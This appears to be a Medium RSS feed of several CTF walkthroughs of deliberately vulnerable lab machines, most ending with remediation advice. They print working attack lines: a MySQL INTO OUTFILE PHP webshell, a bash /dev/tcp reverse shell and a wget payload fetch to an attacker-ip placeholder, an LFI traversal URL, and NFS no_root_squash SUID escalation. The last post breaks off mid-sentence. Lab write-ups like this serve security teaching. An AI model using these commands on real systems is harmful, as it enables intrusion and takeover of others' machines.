            <dc:creator><![CDATA[Basit Olasubomi Balogun]]></dc:creator>
            <pubDate>Sun, 16 Nov 2025 20:02:13 GMT</pubDate>
            <atom:updated>2025-11-16T20:02:13.858Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*feQzyyzJuGdqBi-zEpp9uA.png" /></figure><h3>Hacksudo: Aliens CTF — Full Technical Walkthrough</h3><blockquote><strong><em>Disclaimer:</em></strong><em> All testing was performed in a controlled lab environment for educational purposes only. Do not attempt these techniques on systems you do not own or have explicit permission to test.</em></blockquote><h3>🔍 Discovery</h3><p><strong>Objective:</strong> Identify the target and exposed services.</p><p>I started with an Nmap scan:</p><pre>nmap -sV -A &lt;target-ip&gt;</pre><p><strong>Results:</strong></p><ul><li>Port <strong>80</strong> — HTTP</li><li>Port <strong>9000</strong> — HTTP (alternate web service)</li><li>Port <strong>22</strong> — SSH</li></ul><p><strong>Insight:</strong> Multiple web services are exposed — great candidates for web enumeration and finding backup/config leaks.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MmNMCpj-80D3OFKPAWf2cg.png" /><figcaption>Nmap output showing ports 80, 9000, and 22</figcaption></figure><h3>🧭 Enumeration</h3><p><strong>Goal:</strong> Uncover hidden directories and leaked files.</p><p>Ran a directory brute-force on port 80:</p><pre>gobuster dir -u http://&lt;target-ip&gt;/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x txt,log,php,html,bak,zip,git</pre><p><strong>Finding:</strong> /backup directory. Inside was a file named mysql.bak which looked like a dumped MySQL backup containing credentials.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HS1HDqxMgOENmQa5ORKQ-Q.png" /><figcaption>Gobuster output showing /backup and a listing showing mysql.bak.</figcaption></figure><h3>⚡ Foothold — MySQL INTO OUTFILE → Webshell</h3><p><strong>Objective:</strong> Use MySQL file-write capability to drop a webshell and get a foothold as www-data.</p><p>Steps performed:</p><ul><li>Opened mysql.bak (or used credentials inside) and logged into phpMyAdmin as user vishal (credentials found in the backup).</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1005/1*UX1oSmVxrMZJa952Zd3FMA.png" /></figure><ul><li>Verified access to the hacksudo database via phpMyAdmin.</li><li>Checked MySQL secure_file_priv to see whether OUTFILE is restricted:</li></ul><pre>SHOW VARIABLES LIKE &#39;secure_file_priv&#39;;</pre><ul><li>The variable returned an <strong>empty string</strong>, meaning MySQL is not restricted to a single directory for INTO OUTFILE / LOAD DATA INFILE operations on this server.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*P7kzOvUflzGs82VLbf_nRg.png" /></figure><ul><li>Wrote a simple PHP webshell to the webroot using SELECT ... INTO OUTFILE:</li></ul><pre>SELECT &quot;&lt;?php if(isset($_GET[&#39;cmd&#39;])){ system($_GET[&#39;cmd&#39;]); } ?&gt;&quot; INTO OUTFILE &#39;/var/www/html/shell.php&#39;;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9uNsrICQk9Mq4JDSvHhZLQ.png" /></figure><ul><li>Triggered the shell in the browser:</li></ul><pre>http://&lt;target-ip&gt;/shell.php?cmd=which nc</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eekKzfYYz1dU71Owb9hbgw.png" /></figure><ul><li>Launched a Netcat listener and executed a reverse shell payload via the webshell to get a connection back.</li></ul><pre># Attacker<br>nc -lvnp &lt;LPORT&gt;</pre><pre># Trigger via web:<br>http://&lt;target-ip&gt;/shell.php?cmd=bash -c &#39;bash -i &gt;&amp; /dev/tcp/&lt;attacker-ip&gt;/&lt;LPORT&gt; 0&gt;&amp;1&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/767/1*yZ-mi-u_2F_zSAOgcHKbBA.png" /><figcaption>Reverse shell as www-data</figcaption></figure><h3>🔐 Privilege Escalation</h3><p><strong>Objective:</strong> Move from www-data → hacksudo → root.</p><h3>Step 1 — Horizontal Escalation (www-data → hacksudo)</h3><ul><li>Enumerated local files and binaries; found an interesting binary in /usr/bin/date usage and evidence that hacksudo credentials/hashes were present somewhere accessible.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/986/1*EwoniznwTDlO-nWl_AbjIA.png" /></figure><ul><li>Used GTFOBins-style techniques (safe, documented wrappers) to leverage the date binary (or another allowed binary) to read /etc/passwd or other files that led to obtaining hacksudo&#39;s hash.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TUgQf4wwg_0M-8sDxm39HQ.png" /><figcaption>GTFOBins-style techniques</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Y9KUj9rFMSPo1Xz5DBNEVg.png" /><figcaption>date binary usage</figcaption></figure><ul><li>Cracked the hash with john (or an online cracking service) to recover hacksudo’s password.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/741/1*zOsGwdEz0r1Wyo7tx0DJDA.png" /></figure><h3>Step 2 — Vertical Escalation (hacksudo → root)</h3><ul><li>Uploaded and ran linpeas.sh to enumerate privilege escalation vectors.</li><li>linpeas flagged a binary at /home/hacksudo/Downloads/cpulimit as a potential PE vector.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gWLYaTMe3NJd7WzVwVjsqw.png" /></figure><ul><li>Using GTFOBins guides for cpulimit, I exploited it to get a root shell.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Go2YncNXUy7U8CF46a-sGA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tPsI2__OwkUHnVVM7UdICA.png" /><figcaption>Commands used to exploit cpulimit to gain root access</figcaption></figure><h3>🛡 Recommendations &amp; Remediation</h3><p><strong>Protect secrets &amp; backups</strong></p><ul><li>Do not keep credential-containing backups in web-accessible directories. Move mysql.bak into secure storage and remove any exposed credentials.</li><li>Immediately rotate any passwords discovered in the backup.</li></ul><p><strong>Least privilege &amp; binary hardening</strong></p><ul><li>Remove dangerous SUID bits or avoid placing exploitable binaries in user-download directories.</li></ul><pre>sudo chmod u-s /home/hacksudo/Downloads/cpulimit</pre><ul><li>Avoid allowing web apps or DB users to write files into webroot. Restrict secure_file_priv in MySQL to a safe directory:</li></ul><pre>secure_file_priv = /var/lib/mysql-files</pre><ul><li>then restart MySQL.</li></ul><p><strong>Harden web and DB</strong></p><ul><li>Disable SELECT INTO OUTFILE for web-facing accounts, or ensure the DB user used by web apps has no filesystem write rights.</li><li>Patch and monitor binaries and use OS-level protections (AppArmor/SELinux).</li></ul><p><strong>General</strong></p><ul><li>Use strong password policies and do not store reversible or plaintext secrets.</li><li>Regularly run automated security scans (linpeas, etc.) and remediate findings.</li></ul><h3>✅ Conclusion</h3><p>Hacksudo: Aliens demonstrates a typical chained compromise: leaked backup → DB access → file write to webroot → webshell → initial user → local binary abuse → root. Removing exposed backups, restricting DB file export behavior, and tightening binary permissions would have prevented the full compromise.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c8894dca05fa" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Grotesque 1 CTF — Full Technical Walkthrough]]></title>
            <link>https://medium.com/@basitolasubomibalogun/grotesque-1-ctf-full-technical-walkthrough-c6958332d656?source=rss-c920845a8acd------2</link>
            <guid isPermaLink="false">https://medium.com/p/c6958332d656</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[vulnhub]]></category>
            <dc:creator><![CDATA[Basit Olasubomi Balogun]]></dc:creator>
            <pubDate>Fri, 14 Nov 2025 20:43:35 GMT</pubDate>
            <atom:updated>2025-11-14T20:43:35.144Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BDH_MmXx0_ge80okljegSA.png" /></figure><h3>Grotesque 1 CTF — Full Technical Walkthrough</h3><blockquote><strong><em>Disclaimer:</em></strong><em> This walkthrough is for educational purposes only. All tests were performed in a controlled lab environment. Do not attempt these techniques on systems you do not own or have explicit authorization to test.</em></blockquote><h3>🔍 Discovery</h3><p><strong>Objective:</strong> Identify the target and exposed services.</p><p>First, I ran a full port scan with service/version detection:</p><pre>nmap -sV -A -p- &lt;target-ip&gt;</pre><p><strong>Results:</strong></p><ul><li>Port <strong>80</strong> — HTTP</li><li>Port <strong>66</strong> — HTTP</li></ul><p><strong>Insight:</strong> Both ports hosted web servers, making web enumeration the logical next step.</p><h3>⚡ Foothold</h3><p><strong>Objective:</strong> Gain initial access to the target.</p><ul><li>Navigating to the web server on <strong>port 66</strong> revealed a file called vvmlist.zip.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HGLWujvpS3nPeQ9OGi4hpg.png" /></figure><ul><li>After downloading and unzipping, I found hints about a <strong>WordPress subdomain</strong>: /lyricsblog (hosted on port 80) from the unzipped files.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/674/1*CpMwBONiX4n0v_hPm6_q7w.png" /></figure><ul><li>I ran <strong>Nikto</strong> against the /lyricsblog WordPress site and identified the login page.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*o1zF-uwQE1pWtuo1qRad5g.png" /></figure><ul><li>Next, I used <strong>WPScan</strong> to enumerate usernames:</li></ul><pre>wpscan --url http://&lt;target-ip&gt;/lyricsblog -e u --api-token &lt;your-api-token&gt;</pre><ul><li>The username erdalkomurcu was discovered.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1-PKIvCXpxnCQk-nwy2vFw.png" /></figure><ul><li>During further enumeration, I found lyrics posted on the blog (Hakan Tasiyan - Doktor).</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QcXF0VOy9ToQTC0huIjdjg.png" /></figure><ul><li>I hashed the lyrics, converted the MD5 hash to uppercase, and combined it with the username.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*CoLytWEwAQaCaGIqyCOalQ.png" /></figure><ul><li>Credential used:</li></ul><pre>Username: erdalkomurcu   Password: BC78C6AB38E114D6135409E44F7CDDA2</pre><ul><li>The credentials worked on the WordPress admin login page. Once inside, I navigated to the <strong>Theme Editor</strong>.</li><li>I replaced the contents of archive.php in the default theme with a <strong>PHP reverse shell</strong>.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*k1J6bf5pvOc2Ia_VcTdE_w.png" /></figure><ul><li>Accessing the malicious template:</li></ul><pre>http://&lt;target-ip&gt;/lyricsblog/wp-content/themes/twentytwentyone/archive.php</pre><ul><li>triggered the payload and connected back to my listener (set up in Metasploit).</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*d61k3PD4Q_bfVI8YyM66Tw.png" /></figure><p>Shell obtained as www-data.</p><h3>🔐 Privilege Escalation</h3><p><strong>Objective:</strong> Escalate from limited user → root.</p><h3>Step 1: www-data → raphael</h3><ul><li>In /var/www/html/lyricsblog, I found <strong>wp-config.php</strong> which exposed database credentials:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/607/1*lKEH1in4Tnpxfigpgch3BQ.png" /></figure><pre>Username: raphael   Password: double_trouble</pre><ul><li>Switched user successfully:</li></ul><pre>su raphael</pre><h3>Step 2: raphael → chadroot</h3><ul><li>Inside raphael’s home, I found a hidden KeePass database file: .chadroot.kdbx.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/543/1*Ax-Zy2dllBCrghNq18Lt4g.png" /></figure><ul><li>Transferred it to my Kali VM and extracted the hash with <strong>keepass2john</strong>:</li></ul><pre>keepass2john .chadroot.kdbx &gt; keepass.hash <br>john --wordlist=/usr/share/wordlists/rockyou.txt keepass.hash</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/657/1*-EQB8qcXKcdayI5giL9JKQ.png" /></figure><ul><li>Opened the KeePass file via <a href="https://app.keeweb.info/">KeeWeb</a> and revealed stored credentials.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*siH8G5tMaMmtkT87NnN6Lw.png" /></figure><h3>Step 3: chadroot → root</h3><ul><li>KeePass contained <strong>four different root passwords</strong></li><li>Tested each password until .:.subjective.:. worked.</li><li>Root access achieved.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/412/1*BdxaGiYnZ8zvwPzp7hcSng.png" /></figure><h3>🛡 Recommendations</h3><p><strong>WordPress Hardening</strong></p><ul><li>Keep WordPress core, plugins, and themes <strong>fully updated</strong>.</li><li>Disable file editing from the dashboard:</li></ul><pre>define(&#39;DISALLOW_FILE_EDIT&#39;, true);</pre><ul><li>Enforce strong passwords + MFA for all WordPress accounts.</li></ul><p><strong>Least Privilege &amp; File Permissions</strong></p><ul><li>Restrict www-data from accessing sensitive files (wp-config.php, KeePass databases).</li><li>Apply strict ownership/permissions on user directories:</li></ul><pre>sudo chown root:root /var/backups sudo chmod 700 /var/backups</pre><p><strong>General</strong></p><ul><li>Remove sensitive files (backups, databases) from production systems.</li><li>Regularly scan with tools like <strong>LinPEAS</strong> and patch escalations.</li></ul><h3>✅ Conclusion</h3><p>Grotesque 1 CTF highlighted a <strong>multi-step attack chain</strong>:</p><ol><li>Backup zip file exposure → WordPress user discovery.</li><li>Weak credentials → WordPress admin access → theme editor reverse shell.</li><li>Database credential reuse → lateral movement.</li><li>KeePass database with weak master password → cracked root credentials.</li></ol><p>The compromise demonstrates why <strong>backups, secrets, and weak credentials must never be exposed</strong> on production servers.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c6958332d656" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hacksudo: Proxima — Centauri CTF | Technical Walkthrough]]></title>
            <link>https://medium.com/@basitolasubomibalogun/hacksudo-proxima-centauri-ctf-technical-walkthrough-37b663681ea9?source=rss-c920845a8acd------2</link>
            <guid isPermaLink="false">https://medium.com/p/37b663681ea9</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[vulnhub]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[infosec]]></category>
            <dc:creator><![CDATA[Basit Olasubomi Balogun]]></dc:creator>
            <pubDate>Wed, 12 Nov 2025 14:03:59 GMT</pubDate>
            <atom:updated>2025-11-12T14:03:59.448Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/605/1*zHmCp-oWIl1H7HPooa3rPg.png" /></figure><h3>Hacksudo: Proxima — Centauri CTF | Technical Walkthrough</h3><h3>Discovery</h3><p><strong>Objective:</strong> Identify the target and exposed services.</p><p>First, I ran an Nmap scan against the target:</p><pre>nmap -sV -A &lt;target-ip&gt;</pre><p><strong>Discovered open ports:</strong></p><ul><li><strong>Port 80</strong>: HTTP</li><li><strong>Port 22</strong>: SSH</li></ul><p><strong>Insight:</strong> The target exposes web services and a remote connection service (SSH).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4cmFH9pRer4IcM10xjgBpg.png" /><figcaption>Nmap scan result showing open ports 80 and 22</figcaption></figure><h3>Enumeration</h3><p><strong>Goal:</strong> Uncover hidden directories</p><p>I used <strong>Gobuster</strong> to brute-force directories on port 80:</p><pre>gobuster dir -u http://&lt;target-ip&gt;/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x txt,log,php,html,bak,zip,git</pre><p>I also ran <strong>dirb</strong> for a more aggressive scan:</p><pre>dirb http://&lt;target-ip&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/976/1*QNikDxDxM15eMi_3NnM7Uw.png" /><figcaption>dirb results highlighting /data/trash</figcaption></figure><h3>Foothold</h3><p><strong>Objective:</strong> Gain initial access</p><p><strong>dirb</strong> tool for deeper enumeration, which revealed the <strong>/data/trash</strong> subdomain.</p><p>Inside /data/trash, I found <strong>shell.phar</strong>, a malicious webshell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/825/1*Yq9-YeuXPwg1PJwtkRFpaA.png" /><figcaption><strong>shell.phar</strong></figcaption></figure><ul><li>This was leveraged to get a reverse shell on my <strong>netcat listener</strong>:</li></ul><pre>nc -lvnp 4444 </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/909/1*tbsFq0UraBnpi_eXW4z0EQ.png" /><figcaption>reverse shell payload submitted into exposed webshell (shell.phar)</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/754/1*SsjjpHT-EQ41LQ1q5hBrDw.png" /><figcaption>successful reverse shell connection as www-data</figcaption></figure><h3>Privilege Escalation</h3><p><strong>Objective:</strong> Escalate privileges to root.</p><h3>Step 1 — Horizontal Escalation (www-data → proxima)</h3><ul><li>Enumeration uncovered a file <strong>mysql.bak</strong> containing MySQL credentials for user <strong>alfauser</strong>.</li><li>Dumping the database revealed the password for system user <strong>proxima</strong>.</li><li>I logged in successfully as <strong>proxima</strong>.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CaNW8pmJ_PcFRJokpTUlOA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PmUJYvG7O5FIcdddeofUDA.png" /><figcaption><strong>mysql.bak</strong> containing MySQL credentials for user <strong>alfauser</strong></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uFUCOFbkUA905Iq1KlFH0A.png" /><figcaption>Extracted MySQL credentials</figcaption></figure><h3>Step 2 — Vertical Escalation (proxima → root)</h3><ul><li>Running <strong>linpeas.sh</strong> revealed a privilege escalation vector</li><li>The binary /home/proxima/proximaCentauri/perl had <strong>SUID capabilities</strong>.</li><li>Using exploitation techniques from <strong>GTFOBins</strong>, I escalated privileges through this binary and gained <strong>root access</strong>.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aP4YiHs7QQX5RgpKao8GDg.png" /><figcaption><strong>linpeas.sh</strong> revealed a privilege escalation vector</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*b2F14DyzkASUTBzbTDwq5w.png" /><figcaption>exploitation techniques from <strong>GTFOBins</strong></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XuAEyUB9COMlMxYm4swRiw.png" /><figcaption><strong>root shell</strong></figcaption></figure><h3>Recommendations</h3><h3>1. Harden web uploads &amp; executable content</h3><ul><li>Remove or disable shell.phar.</li><li>Prevent arbitrary <strong>PHAR/PHP execution</strong> in upload directories.</li><li>Serve uploads from non-executable locations; disable PHP execution in upload folders.</li></ul><h3>2. Limit MySQL file/privileges &amp; secure DB access</h3><ul><li>Use <strong>least-privilege DB accounts</strong> for the web application.</li><li>Ensure <strong>backups</strong> (like mysql.bak) are stored securely and <strong>not under webroot</strong>.</li></ul><h3>3. Eliminate risky SUID/privileged binaries</h3><ul><li>Remove <strong>SUID bit</strong> from non-essential files:</li></ul><pre>sudo chmod u-s /home/proxima/proximaCentauri/perl</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=37b663681ea9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hacksudo: L.P.E CTF | Technical Walkthrough]]></title>
            <link>https://medium.com/@basitolasubomibalogun/hacksudo-l-p-e-ctf-technical-walkthrough-19bdcce6f7fe?source=rss-c920845a8acd------2</link>
            <guid isPermaLink="false">https://medium.com/p/19bdcce6f7fe</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[vulnhub]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[Basit Olasubomi Balogun]]></dc:creator>
            <pubDate>Wed, 12 Nov 2025 13:08:25 GMT</pubDate>
            <atom:updated>2025-11-12T13:08:25.475Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BDH_MmXx0_ge80okljegSA.png" /></figure><h3>Discovery</h3><p><strong>Objective:</strong> Identify the target and exposed services.</p><p>I started with an <strong>Nmap scan</strong>:</p><pre>nmap -sV -A &lt;target-ip&gt;</pre><p><strong>Discovered open ports:</strong></p><ul><li><strong>Port 80</strong> — HTTP</li><li><strong>Port 22</strong> — SSH</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_uc55Es6WUJy19TmpP7egw.png" /><figcaption>Nmap scan result showing open ports 80 and 22</figcaption></figure><h3>Enumeration</h3><p><strong>Goal:</strong> Uncover hidden directories and credentials</p><p>I ran <strong>Gobuster</strong> against port 80:</p><pre>gobuster dir -u http://&lt;target-ip&gt;/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x txt,log,php,html,bak,zip,git</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JeUtBm3OvsObujZrZR7dEQ.png" /><figcaption>Gobuster results</figcaption></figure><h3>Foothold</h3><p><strong>Objective:</strong> Gain initial access</p><ul><li>While inspecting the <strong>main domain source code</strong>, I found <strong>admin login credentials</strong>:</li><li>username: admin</li><li>password: hacksudo</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oabcnPRnxQLWG4u4rYSBAQ.png" /><figcaption>Page source showing hardcoded credentials</figcaption></figure><ul><li>After logging in as <strong>admin</strong>, I was presented with a dashboard containing <strong>multiple challenges</strong> with options to view their details.</li><li>Further enumeration of the challenges revealed SSH login credentials for <strong>user1</strong> on the <strong>“apt-get Abusing”</strong> subdomain after clicking challenge1:</li><li>username: user1</li><li>password: hacksudo</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aCnrHm2NEfj2iZWvqgGxvg.png" /><figcaption>page showing user1 credentials</figcaption></figure><ul><li>With these credentials, I successfully established an <strong>SSH session</strong> as user1:</li></ul><pre>ssh user1@&lt;target-ip&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/832/1*8MX_lxLK2no6lsyhzZTgpA.png" /><figcaption>SSH login as user1</figcaption></figure><h3>Privilege Escalation</h3><p><strong>Objective:</strong> Escalate privileges to root.</p><ul><li>Enumeration with:</li></ul><pre>sudo -l</pre><p>showed that <strong>user1 can run </strong><strong>apt-get with root privileges</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yepiQ-pNOC9hIJvyyFQBPw.png" /><figcaption>sudo -l showing apt-get as root</figcaption></figure><ul><li>According to <strong>GTFOBins</strong>, this can be exploited as follows:</li><li>This gave me a <strong>root shell</strong>.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SWPC3w9R-qsRz8Acvht1CA.png" /><figcaption>GTFOBins</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lzRlYBYQKUWSDJwy9-ZmTg.png" /><figcaption>Root shell prompt after exploitation.</figcaption></figure><h3>Recommendations</h3><h3>1. Rotate admin and user credentials immediately</h3><ul><li>Remove admin:hacksudo and user1:hacksudo.</li><li>Revoke active sessions/keys.</li></ul><h3>2. Disable password reuse &amp; credential exposure</h3><ul><li>Do not hardcode credentials in page source.</li><li>Enforce strong, unique passwords.</li></ul><h3>3. Monitor privileged command executions</h3><ul><li>Enable <strong>audit logging</strong> for package manager executions (apt-get, yum, etc.).</li><li>Restrict <strong>sudo privileges</strong> to only what is strictly necessary.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=19bdcce6f7fe" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hacksudo: 2 CTF — Full Technical Walkthrough]]></title>
            <link>https://medium.com/@basitolasubomibalogun/hacksudo-2-ctf-full-technical-walkthrough-c1dadeab1f34?source=rss-c920845a8acd------2</link>
            <guid isPermaLink="false">https://medium.com/p/c1dadeab1f34</guid>
            <category><![CDATA[vulnhub]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Basit Olasubomi Balogun]]></dc:creator>
            <pubDate>Wed, 12 Nov 2025 12:15:37 GMT</pubDate>
            <atom:updated>2025-11-12T12:15:37.827Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/938/1*wt2n9JjQdtO64pMwcIW_Ww.png" /></figure><h3>Hacksudo: 2 CTF — Full Technical Walkthrough</h3><p>This walkthrough covers the <strong>Hacksudo: 2</strong> box — from discovery and enumeration to foothold via NFS + LFI and final privilege escalation to root. All actions were performed in a controlled lab environment for educational purposes.</p><h3>🔍 Discovery</h3><p><strong>Objective:</strong> Identify target services and attack surface.</p><p>Run the initial scan:</p><pre>nmap -sV -A &lt;target-ip&gt;</pre><p><strong>Found:</strong></p><ul><li>Port <strong>80</strong> — HTTP (web service)</li><li>Port <strong>111</strong> — rpcbind (RPC service)</li><li>Port <strong>2049</strong> — NFS (Network File System)</li></ul><p><strong>Insight:</strong> The target exposes a web app and an NFS share — NFS misconfigurations are a common and powerful escalation vector.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2NvUrPCJDQ3kiPZwLUdBjg.png" /><figcaption>Nmap output showing ports 80, 111, 2049</figcaption></figure><h3>📂 Enumeration</h3><p><strong>Goal:</strong> Find useful paths, services and writable shares.</p><ul><li>Web directory enumeration (example):</li></ul><pre>gobuster dir -u http://&lt;target-ip&gt;/ -w /usr/share/wordlists/common.txt -x php,php.bak,log,html,txt,jpg,zip,pdf,git,bak</pre><ul><li>NFS / RPC inspection:</li></ul><pre>rpcinfo -p &lt;target-ip&gt;<br>showmount -e &lt;target-ip&gt;</pre><p>showmount reveals exported shares and mount points — in this case the remote export is mounted under /mnt/nfs on the server and is <strong>world-writable</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*m8goUreWk1o9l0_fB10TMw.png" /><figcaption>Gobuster output</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/769/1*5NGH_heftyzWYDlOfiW0iA.png" /><figcaption>showmount -e output showing export path and options</figcaption></figure><h3>⚡ Foothold (NFS mount + LFI)</h3><p><strong>Objective:</strong> Use the writable NFS export and a web LFI to gain an initial shell as www-data.</p><ul><li><strong>Mount the share (attacker machine)</strong></li></ul><pre>mkdir -p /home/kali/share<br>mount -t nfs &lt;target-ip&gt;:/mnt/nfs /home/kali/share<br>ls -la /home/kali/share    # confirm writable</pre><ul><li><strong>Place a web-shell on the NFS share</strong></li><li>Download a PHP reverse shell (e.g., PentestMonkey) and save it as shell.php inside /home/kali/share.</li><li><strong>Identify LFI on the web app : </strong>/file.php is vulnerable to LFI:</li></ul><pre>http://&lt;target-ip&gt;/file.php?file=/var/www/html/../../../../mnt/nfs/shell.php</pre><ul><li><strong>Trigger the reverse shell</strong></li><li>Start a Netcat listener on your attacker host:</li></ul><pre>nc -lvnp &lt;LPORT&gt;</pre><ul><li>Open the crafted LFI URL in a browser (or curl) — the server will execute the PHP file from the NFS share and connect back to your listener.</li></ul><p><strong>Result:</strong> Reverse shell as www-data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/860/1*tLGS_hmVbVXkd9C-h2M8dQ.png" /><figcaption>File listing inside the mounted share with shell.php.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*h-YMcYdU5mtX6d6ihSxgww.png" /><figcaption>Fuzzing for LFI vulnerability on the /file.php subdomain</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vC4jBu2sOs8xemHemAUV3w.png" /><figcaption>The intercepted HTTP request or browser URL triggering the LFI.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1007/1*lUEwIUp9LH-v5J9W4BbGOw.png" /><figcaption>Netcat listener catching the www-data shell.</figcaption></figure><h3>🔐 Privilege Escalation (www-data → root)</h3><p><strong>Objective:</strong> Escalate from www-data to root using the NFS export misconfiguration.</p><ul><li><strong>Enumerate with linpeas</strong></li></ul><p>Upload and run linpeas.sh on the target (e.g., to /tmp) and inspect for NFS-related findings:</p><pre>wget http://&lt;attacker-ip&gt;/linpeas.sh -O /tmp/linpeas.sh<br>chmod +x /tmp/linpeas.sh<br>/tmp/linpeas.sh</pre><ul><li>linpeas flags an NFS export with no_root_squash (or similar) meaning files created on the mount by remote users may map to UID 0 on the server.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/792/1*MkF6uMuIaV2juqU-ZowUUw.png" /><figcaption>linpeas output highlighting no_root_squash / NFS export info.</figcaption></figure><ul><li><strong>Exploit </strong><strong>no_root_squash </strong>:on the attacker machine (mounted share), copy a suid-root-capable binary into the share — a common and reliable technique is to copy /bin/bash (or /bin/sh) into the share and change its permissions there:</li></ul><pre>cp /bin/bash /home/kali/share/bash<br>chmod +x /home/kali/share/bash</pre><ul><li>On the target server, run the copied binary with the -p flag to preserve privileges (because it will be owned by root due to no_root_squash):</li></ul><pre>/mnt/nfs/bash -p</pre><p>This spawns a shell with <strong>root</strong> privileges.</p><p><strong>Alternate PoC:</strong> create a simple suid binary or use chown behavior depending on the environment. The underlying idea: files created on the NFS share map to root on 